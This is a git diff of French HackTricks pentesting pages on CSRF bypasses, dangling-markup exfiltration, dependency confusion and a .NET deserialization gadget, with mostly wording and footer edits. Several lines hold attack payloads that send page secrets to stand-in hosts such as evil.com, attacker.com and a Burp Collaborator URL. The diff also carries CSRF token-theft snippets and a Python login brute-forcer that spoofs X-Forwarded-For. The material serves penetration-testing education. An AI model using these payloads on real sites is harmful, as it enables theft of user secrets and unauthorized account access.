Selon [**ceci**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), afin d'**éviter les requêtes de pré-vérification** en utilisant la méthode **POST**, voici les valeurs de Content-Type autorisées :
|
||||
|
||||
|
@ -151,7 +151,7 @@ Lors de la tentative d'envoi de données JSON via une requête POST, l'utilisati
|
|||
|
||||
2. **Modifier le type de contenu** : Pour éviter une demande de pré-vérification tout en garantissant que le serveur reconnaisse le contenu comme JSON, vous pouvez envoyer les données avec `Content-Type: text/plain; application/json`. Cela ne déclenche pas de demande de pré-vérification mais pourrait être traité correctement par le serveur s'il est configuré pour accepter `application/json`.
|
||||
|
||||
3. **Utilisation de fichiers Flash SWF** : Une méthode moins courante mais réalisable implique l'utilisation d'un fichier Flash SWF pour contourner de telles restrictions. Pour une compréhension approfondie de cette technique, consultez [cet article](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
3. **Utilisation de fichiers Flash SWF** : Une méthode moins courante mais réalisable implique l'utilisation d'un fichier flash SWF pour contourner de telles restrictions. Pour une compréhension approfondie de cette technique, consultez [cet article](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
|
||||
### Contournement de la vérification du Référent / Origine
|
||||
|
||||
|
@ -190,7 +190,7 @@ document.forms[0].submit();
|
|||
```
|
||||
### **Contournement de la méthode HEAD**
|
||||
|
||||
La première partie de [**ce compte rendu CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explique que dans [le code source d'Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un routeur est configuré pour **traiter les requêtes HEAD comme des requêtes GET** sans corps de réponse - une solution de contournement courante qui n'est pas propre à Oak. Au lieu d'un gestionnaire spécifique pour les requêtes HEAD, elles sont simplement **transmises au gestionnaire GET mais l'application supprime simplement le corps de réponse**.
|
||||
La première partie de [**ce compte rendu CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explique que dans le [code source de Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un routeur est configuré pour **traiter les requêtes HEAD comme des requêtes GET** sans corps de réponse - une solution de contournement courante qui n'est pas propre à Oak. Au lieu d'un gestionnaire spécifique pour les requêtes HEAD, elles sont simplement **transmises au gestionnaire GET mais l'application supprime simplement le corps de réponse**.
|
||||
|
||||
Par conséquent, si une requête GET est limitée, vous pourriez simplement **envoyer une requête HEAD qui sera traitée comme une requête GET**.
|
||||
|
||||
|
@ -355,7 +355,7 @@ function envia(){document.getElementById("formulario").submit();}
|
|||
</iframe>
|
||||
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
|
||||
```
|
||||
### **Vol de jeton CSRF et envoi d'une requête POST**
|
||||
### **Vol CSRF et envoie une requête POST**
|
||||
```javascript
|
||||
function submitFormWithTokenJS(token) {
|
||||
var xhr = new XMLHttpRequest();
|
||||
|
@ -470,7 +470,7 @@ height="600" width="800"></iframe>
|
|||
<button type="submit">Submit</button>
|
||||
</form>
|
||||
```
|
||||
### **POSTVoler le jeton CSRF avec Ajax et envoyer une requête POST avec un formulaire**
|
||||
### **POSTVoler le jeton CSRF avec Ajax et envoyer une requête post avec un formulaire**
|
||||
```html
|
||||
<body onload="getData()">
|
||||
|
||||
|
@ -520,7 +520,7 @@ room: username
|
|||
```
|
||||
## CSRF Brute Force de Connexion
|
||||
|
||||
Le code peut être utilisé pour forcer de manière brutale un formulaire de connexion en utilisant un jeton CSRF (Il utilise également l'en-tête X-Forwarded-For pour tenter de contourner un éventuel blocage d'IP) :
|
||||
Le code peut être utilisé pour effectuer une attaque de force brute sur un formulaire de connexion en utilisant un jeton CSRF (Il utilise également l'en-tête X-Forwarded-For pour tenter de contourner un éventuel blocage d'IP) :
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
|
@ -564,7 +564,7 @@ with open(PASS_LIST, "r") as f:
|
|||
for line in f:
|
||||
login(USER, line.strip())
|
||||
```
|
||||
## Outils <a href="#tools" id="tools"></a>
|
||||
## Outils <a href="#outils" id="outils"></a>
|
||||
|
||||
* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
|
||||
* [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
|
||||
|
@ -580,15 +580,15 @@ login(USER, line.strip())
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs !
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
**Perspectives de piratage**\
|
||||
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage
|
||||
**Perspectives de Hacking**\
|
||||
Engagez-vous avec du contenu qui explore les défis et l'excitation du hacking
|
||||
|
||||
**Actualités de piratage en temps réel**\
|
||||
Restez à jour avec le monde du piratage en évolution rapide grâce aux actualités et aux informations en temps réel
|
||||
**Actualités de Hacking en Temps Réel**\
|
||||
Restez à jour avec le monde du hacking en évolution rapide grâce aux actualités et aux informations en temps réel
|
||||
|
||||
**Dernières annonces**\
|
||||
**Dernières Annonces**\
|
||||
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui!
|
||||
|
@ -599,10 +599,10 @@ Restez informé des dernières primes de bugs lancées et des mises à jour cruc
|
|||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,15 +9,15 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## Résumé
|
||||
|
||||
Cette technique peut être utilisée pour extraire des informations d'un utilisateur lorsqu'une **injection HTML est trouvée**. Cela est très utile si vous **ne trouvez aucun moyen d'exploiter un** [**XSS**](../xss-cross-site-scripting/) mais que vous pouvez **injecter des balises HTML**.\
|
||||
Il est également utile si un **secret est enregistré en clair** dans le HTML et que vous souhaitez **l'exfiltrer** du client, ou si vous souhaitez induire en erreur l'exécution d'un script.
|
||||
Cette technique peut être utilisée pour extraire des informations d'un utilisateur lorsqu'une **injection HTML est trouvée**. Cela est très utile si vous ne trouvez **aucun moyen d'exploiter un** [**XSS**](../xss-cross-site-scripting/) mais que vous pouvez **injecter des balises HTML**.\
|
||||
C'est également utile si un **secret est enregistré en clair** dans le HTML et que vous souhaitez **l'exfiltrer** du client, ou si vous souhaitez induire en erreur l'exécution d'un script.
|
||||
|
||||
Plusieurs techniques commentées ici peuvent être utilisées pour contourner certaines [**Politiques de sécurité du contenu**](../content-security-policy-csp-bypass/) en exfiltrant des informations de manière inattendue (balises html, CSS, balises http-meta, formulaires, base...).
|
||||
|
||||
|
@ -25,7 +25,7 @@ Plusieurs techniques commentées ici peuvent être utilisées pour contourner ce
|
|||
|
||||
### Vol de secrets en clair
|
||||
|
||||
Si vous injectez `<img src='http://evil.com/log.cgi?` lorsque la page est chargée, la victime vous enverra tout le code entre la balise `img` injectée et la prochaine guillemet à l'intérieur du code. Si un secret est situé de quelque manière que ce soit dans ce fragment, vous le volerez (vous pouvez faire la même chose en utilisant des guillemets doubles, regardez ce qui pourrait être plus intéressant à utiliser).
|
||||
Si vous injectez `<img src='http://evil.com/log.cgi?` lorsque la page est chargée, la victime vous enverra tout le code entre la balise `img` injectée et la prochaine guillemet à l'intérieur du code. Si un secret est situé de cette manière, vous le volerez (vous pouvez faire la même chose en utilisant des guillemets doubles, voyez ce qui pourrait être plus intéressant à utiliser).
|
||||
|
||||
Si la balise `img` est interdite (en raison de la CSP par exemple), vous pouvez également utiliser `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
|
||||
```html
|
||||
|
@ -67,11 +67,11 @@ Le bouton peut modifier l'URL vers laquelle les informations du formulaire vont
|
|||
```
|
||||
### Vol de secrets en texte clair 2
|
||||
|
||||
En utilisant la dernière technique mentionnée pour voler des formulaires (en injectant un nouvel en-tête de formulaire), vous pouvez ensuite injecter un nouveau champ de saisie :
|
||||
En utilisant la dernière technique mentionnée pour voler des formulaires (en injectant un nouvel en-tête de formulaire), vous pouvez ensuite injecter un nouveau champ d'entrée :
|
||||
```html
|
||||
<input type='hidden' name='review_body' value="
|
||||
```
|
||||
et ce champ de saisie contiendra tout le contenu entre ses guillemets doubles et les prochains guillemets doubles dans le HTML. Cette attaque mélange le "_**Vol de secrets en texte clair**_" avec "_**Vol de formulaires2**_".
|
||||
et ce champ de saisie contiendra tout le contenu entre ses guillemets doubles et les guillemets doubles suivants dans le HTML. Cette attaque mélange le "_**Vol de secrets en texte clair**_" avec "_**Vol de formulaires2**_".
|
||||
|
||||
Vous pouvez faire la même chose en injectant un formulaire et une balise `<option>`. Toutes les données jusqu'à ce qu'un `</option>` fermé soit trouvé seront envoyées:
|
||||
```html
|
||||
|
@ -116,7 +116,7 @@ if(window.name) {
|
|||
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
|
||||
</script>
|
||||
```
|
||||
### Attaque de l'espace de noms HTML
|
||||
### Technique de piratage trompeuse 1 - Attaque de l'espace de noms HTML
|
||||
|
||||
Insérez une nouvelle balise avec un identifiant à l'intérieur du HTML qui écrasera la suivante et avec une valeur qui affectera le flux d'un script. Dans cet exemple, vous sélectionnez avec qui une information va être partagée:
|
||||
```html
|
||||
|
@ -175,15 +175,15 @@ Ou vous pouvez même essayer d'exécuter du javascript :
|
|||
```html
|
||||
<script src='/search?q=a&call=alert(1)'></script>
|
||||
```
|
||||
### Utilisation abusive d'iframe
|
||||
### Mauvais usage des iframes
|
||||
|
||||
Un document enfant possède la capacité de visualiser et de modifier la propriété `location` de son parent, même dans des situations de cross-origin. Cela permet d'incorporer un script dans un **iframe** qui peut rediriger le client vers une page arbitraire :
|
||||
Un document enfant possède la capacité de visualiser et de modifier la propriété `location` de son parent, même dans des situations de cross-origin. Cela permet d'intégrer un script dans un **iframe** qui peut rediriger le client vers une page arbitraire :
|
||||
```html
|
||||
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
|
||||
```
|
||||
Cela peut être atténué avec quelque chose comme : `sandbox=' allow-scripts allow-top-navigation'`
|
||||
|
||||
Un iframe peut également être utilisé pour divulguer des informations sensibles à partir d'une page différente **en utilisant l'attribut de nom de l'iframe**. Cela est dû au fait que vous pouvez créer un iframe qui s'iframe lui-même en abusant de l'injection HTML qui fait apparaître les **informations sensibles à l'intérieur de l'attribut de nom de l'iframe** et ensuite accéder à ce nom depuis l'iframe initial et le divulguer.
|
||||
Un iframe peut également être utilisé pour divulguer des informations sensibles à partir d'une page différente en utilisant l'attribut de nom de l'iframe. Cela est dû au fait que vous pouvez créer un iframe qui s'iframe lui-même en abusant de l'injection HTML qui fait apparaître les informations sensibles à l'intérieur de l'attribut de nom de l'iframe, puis accéder à ce nom depuis l'iframe initial et le divulguer.
|
||||
```html
|
||||
<script>
|
||||
function cspBypass(win) {
|
||||
|
@ -196,16 +196,16 @@ setTimeout(()=>alert(win[0].name), 500);
|
|||
```
|
||||
Pour plus d'informations, consultez [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
|
||||
|
||||
### \<meta abus
|
||||
### Abus de la balise \<meta
|
||||
|
||||
Vous pouvez utiliser **`meta http-equiv`** pour effectuer **plusieurs actions** comme définir un Cookie : `<meta http-equiv="Set-Cookie" Content="SESSID=1">` ou effectuer une redirection (dans 5s dans ce cas) : `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
|
||||
|
||||
Cela peut être **évité** avec un **CSP** concernant **http-equiv** (`Content-Security-Policy: default-src 'self';`, ou `Content-Security-Policy: http-equiv 'self';`)
|
||||
Cela peut être **évité** avec une **CSP** concernant **http-equiv** (`Content-Security-Policy: default-src 'self';`, ou `Content-Security-Policy: http-equiv 'self';`)
|
||||
|
||||
### Nouvelle balise HTML \<portal
|
||||
|
||||
Vous pouvez trouver une recherche très **intéressante** sur les vulnérabilités exploitables de la balise \<portal [ici](https://research.securitum.com/security-analysis-of-portal-element/).\
|
||||
Au moment de la rédaction de ceci, vous devez activer la balise portal sur Chrome dans `chrome://flags/#enable-portals` ou cela ne fonctionnera pas.
|
||||
Au moment de la rédaction de cet article, vous devez activer la balise portal sur Chrome dans `chrome://flags/#enable-portals` sinon cela ne fonctionnera pas.
|
||||
```html
|
||||
<portal src='https://attacker-server?
|
||||
```
|
||||
|
@ -223,7 +223,7 @@ Il s'agit d'un **mélange** entre le **dangling markup et les XS-Leaks**. D'un c
|
|||
|
||||
## XS-Search/XS-Leaks
|
||||
|
||||
Les XS-Search sont orientés vers **l'exfiltration d'informations entre origines** en abusant des **attaques de canal secondaire**. Par conséquent, il s'agit d'une technique différente du Dangling Markup, cependant, certaines des techniques abusent de l'inclusion de balises HTML (avec et sans exécution de JS), comme l'**Injection CSS** ou le **Chargement Paresseux des Images**.
|
||||
XS-Search est orienté pour **exfiltrer des informations entre origines** en abusant des **attaques de canal secondaire**. Par conséquent, c'est une technique différente du Dangling Markup, cependant, certaines des techniques abusent de l'inclusion de balises HTML (avec et sans exécution de JS), comme l'**Injection CSS** ou le **Chargement Paresseux des Images**.
|
||||
|
||||
{% content-ref url="../xs-search.md" %}
|
||||
[xs-search.md](../xs-search.md)
|
||||
|
@ -249,7 +249,7 @@ Autres façons de soutenir HackTricks:
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -25,7 +25,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,13 +2,13 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -32,7 +32,7 @@ Si votre entreprise essaie d'**importer une bibliothèque qui n'est pas interne*
|
|||
|
||||
### Version non spécifiée
|
||||
|
||||
Il est très courant que les développeurs **ne spécifient pas de version** de la bibliothèque utilisée, ou spécifient juste une **version majeure**. Ensuite, l'interpréteur va essayer de télécharger la **dernière version** correspondant à ces exigences.\
|
||||
Il est très courant que les développeurs **ne spécifient pas de version** de la bibliothèque utilisée, ou spécifient juste une **version majeure**. Ensuite, l'interprète va essayer de télécharger la **dernière version** correspondant à ces exigences.\
|
||||
Si la bibliothèque est une **bibliothèque externe connue** (comme `requests` en python), un **attaquant ne peut pas faire grand-chose**, car il ne pourra pas créer une bibliothèque appelée `requests` (à moins qu'il ne soit l'auteur original).\
|
||||
Cependant, si la bibliothèque est **interne**, comme `requests-company` dans cet exemple, si le **référentiel de la bibliothèque** permet de **vérifier également les nouvelles versions de manière externe**, il recherchera une version plus récente disponible publiquement.\
|
||||
Donc si un **attaquant sait** que l'entreprise utilise la bibliothèque `requests-company` **version 1.0.1** (autorise les mises à jour mineures), il peut **publier** la bibliothèque `requests-company` **version 1.0.2** et l'entreprise **utilisera cette bibliothèque à la place** de la interne.
|
||||
|
@ -44,7 +44,7 @@ AWS a corrigé cela en permettant de spécifier si une bibliothèque est interne
|
|||
|
||||
## Recherche de bibliothèques vulnérables
|
||||
|
||||
Dans le [**article original sur la confusion de dépendance**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610), l'auteur a recherché des milliers de fichiers package.json exposés contenant les dépendances des projets JavaScript.
|
||||
Dans le [**billet original sur la confusion de dépendance**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610), l'auteur a recherché des milliers de fichiers package.json exposés contenant les dépendances de projets JavaScript.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -53,12 +53,12 @@ Dans le [**article original sur la confusion de dépendance**](https://medium.co
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,12 +2,12 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le **groupe Telegram** ou **suivez-moi** sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -18,13 +18,13 @@ Ce post est dédié à **comprendre comment le gadget ObjectDataProvider est exp
|
|||
|
||||
D'après la documentation : _la classe ObjectDataProvider enveloppe et crée un objet que vous pouvez utiliser comme source de liaison_.\
|
||||
Oui, c'est une explication étrange, voyons donc ce que cette classe a d'intéressant : Cette classe permet de **envelopper un objet arbitraire**, d'utiliser _**MethodParameters**_ pour **définir des paramètres arbitraires**, puis **d'utiliser MethodName pour appeler une fonction arbitraire** de l'objet arbitraire déclaré en utilisant les paramètres arbitraires.\
|
||||
Par conséquent, l'**objet** arbitraire **exécutera** une **fonction** avec des **paramètres lors de la désérialisation.**
|
||||
Par conséquent, l'**objet** arbitraire **exécutera** une **fonction** avec des **paramètres tout en étant désérialisé**.
|
||||
|
||||
### **Comment est-ce possible**
|
||||
|
||||
L'espace de noms **System.Windows.Data**, trouvé dans le fichier **PresentationFramework.dll** à `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, est l'endroit où l'ObjectDataProvider est défini et implémenté.
|
||||
|
||||
